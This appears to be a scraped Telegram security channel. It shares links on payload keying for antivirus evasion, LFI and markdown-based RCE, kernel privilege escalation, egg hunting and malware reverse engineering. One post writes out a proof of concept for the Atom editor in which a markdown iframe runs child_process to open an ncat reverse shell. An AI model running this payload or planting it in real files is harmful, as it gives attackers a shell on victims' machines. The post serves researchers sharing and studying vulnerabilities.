HackerOne – Telegram
HackerOne
@HackerOne
11K subscribers
644 photos
31 videos
79 files
2.74K links
Community : @Sec0x01
@Bug0x
Download Telegram
About
Blog
Apps
Platform
Join
HackerOne
11K subscribers
HackerOne
Keying Payloads for Scripting Languages
https://adapt-and-attack.com/2017/11/15/keying-payloads-for-noscripting-languages/
Adapt and Attack
Keying Payloads for Scripting Languages
Keying payloads is an effective method to evade sandbox detection, prevent antivirus detection, and slow down incident response. This post covers environmental keying and HTTP keying.
580 viewsAdel יהונתן, 
HackerOne
🔗 imba.io


Imba is a new programming language for the web that compiles to highly performant and readable JavaScript. It has language level support for defining, extending, subclassing, instantiating and rendering dom nodes. For a simple application like TodoMVC, it is more than 10 times faster than React with less code, and a much smaller library.
524 viewsAdel יהונתן, edited  
HackerOne
Kali Linux 2017.3 Release
https://www.kali.org/releases/kali-linux-2017-3-release/
Kali Linux
Kali Linux 2017.3 Release | Kali Linux Blog
We are pleased to announce the immediate availability of Kali Linux 2017.3, which includes all patches, fixes, updates, and improvements since our last release. In this release, the kernel has been updated to 4.13.10 and it includes some notable improvements:…
567 viewsAdel יהונתן, 
HackerOne
From Markdown to RCE in Atom
https://statuscode.ch/2017/11/from-markdown-to-rce-in-atom/
672 viewsAdel יהונתן, 
HackerOne
https://rawsec.ml/en/local-file-inclusion-remote-code-execution-vulnerability/
525 viewsRamin Farajpour Cami, 
HackerOne
*XSS via different extensions
*SSI in IIS
*RCE in IIS

https://mike-n1.github.io/ExtensionsOverview
1.01K viewsRamin Farajpour Cami, 
HackerOne
https://twitter.com/kevinmitnick/status/933118263218790400
Twitter
Kevin Mitnick
Please delete the data you stole from us and we will pay you $100,000. You really did delete it all didn't you? Yeah, right! https://t.co/5osdyGjcg0
513 viewsRamin Farajpour Cami, 
HackerOne
HackerOne
From Markdown to RCE in Atom https://statuscode.ch/2017/11/from-markdown-to-rce-in-atom/
XSS -> RCE in Atom,

Get a shell when rendering the markdown


demo.md:

<iframe src="/home/user/demo.html">

demo.html:

<noscript> window.top.require('child_process').execFile('/usr/bin/xterm',['-e', 'ncat 127.0.0.1 4242 -e /bin/bash']); </noscript>
587 viewsRamin Farajpour Cami, edited  
HackerOne
https://youtu.be/8tqo78E04cM
YouTube
Bochspwn Reloaded: Detecting Kernel Memory Disclosure with x86 Emulation and Taint Tracking
In kernel-mode, buffer overflows and similar memory corruption issues in the internal logic are usually self-evident and can be detected with a number of static and dynamic approaches. On the contrary, flaws directly related to interactions with user-mode…
593 viewsRamin Farajpour Cami, 
HackerOne
Learn Android Security
https://androidtamer.com/learn_android_security
509 viewsعلیرضا هستم., edited  
HackerOne
https://github.com/hegusung/AVSignSeek
GitHub
GitHub - hegusung/AVSignSeek: Tool written in python3 to determine where the AV signature is located in a binary/payload
Tool written in python3 to determine where the AV signature is located in a binary/payload - GitHub - hegusung/AVSignSeek: Tool written in python3 to determine where the AV signature is located in ...
471 viewsعلیرضا هستم., 
HackerOne
https://www.codeproject.com/Articles/670373/Csharp-Read-Write-another-Process-Memory
CodeProject
C# Read/Write Another Process' Memory
This article aims to show you how to read/write a process' memory using C# and some methods found in kernel32.dll.
510 viewsAdel יהונתן, 
HackerOne
The Art of Fuzzing – Slides and Demos
https://sec-consult.com/en/blog/2017/11/the-art-of-fuzzing-slides-and-demos/index.html
648 viewsعلیرضا هستم., 
HackerOne
https://snyk.io/
Snyk
Snyk AI-powered Developer Security Platform | AI-powered AppSec Tool & Security Platform | Snyk
Snyk is the trusted platform for developing fast and securing modern AI-based application development. Book a demo today to build and run secure code with the power of AI.
541 viewsعلیرضا هستم., 
HackerOne
Introduction of CSTI vulnerability


https://speakerdeck.com/shikarisenpai/csti-for-dummies
Speaker Deck
CSTI for Dummies
Introduction to CSTI vulnerability:
- Basics (for AngularJS)
- Search methods
- Sandbox bypass
- HTML Sanitizer problem
- CSP is hard
Slides hav…
627 viewsRamin Farajpour Cami, 
HackerOne
#tutorial
Reverse Engineering Malware 101 by Amanda Rousseau

https://securedorg.github.io/RE101/
647 viewsRamin Farajpour Cami, 
HackerOne
#tutorial
Reverse Engineering Malware 102 by Amanda Rousseau



https://securedorg.github.io/RE102/
703 viewsRamin Farajpour Cami, 
HackerOne
#tutorial

Reverse Engineering with libc functions in the GDB (beginner)


https://github.com/raminfp/Reverse_Engineering_For_Beginners
GitHub
raminfp/Reverse_Engineering_For_Beginners
Tutorial Reverse Engineering . Contribute to raminfp/Reverse_Engineering_For_Beginners development by creating an account on GitHub.
826 viewsRamin Farajpour Cami, 
HackerOne
Linux kernel XFRM privilege escalation

https://github.com/torvalds/linux/commit/1137b5e2529a8f5ca8ee709288ecba3e68044df2


http://seclists.org/fulldisclosure/2017/Nov/40
GitHub
ipsec: Fix aborted xfrm policy dump crash · torvalds/linux@1137b5e
An independent security researcher, Mohamed Ghannam, has reported
this vulnerability to Beyond Security's SecuriTeam Secure Disclosure
program.

The xfrm_dump_policy_done function expects xfrm_dump...
632 viewsRamin Farajpour Cami, 
HackerOne
x64 Egg hunting in Linux systems

https://pentesterslife.blog/2017/11/24/x64-egg-hunting-in-linux-systems
Pentester's life
x64 Egg hunting in Linux systems
There isn’t much when it comes to egg hunters, and even less when it comes to x64 ones. And the ones out there on exploit-db and shell-storm do leave a lot to be explained, and some… le…
634 viewsRamin Farajpour Cami, edited  
HackerOne
How I Hacked 40 Websites in 7 minutes – Hacker Noon
https://hackernoon.com/how-i-hacked-40-websites-in-7-minutes-5b4c28bc8824
Hackernoon
How I Hacked 40 Websites in 7 minutes
Last summer I started learning about information security and hacking. Over the last year I’ve played in various wargames, capture the flag and penetration testing simulations, continuously improving my hacking skills and learning new things about ‘how to…
604 viewsRamin Farajpour Cami,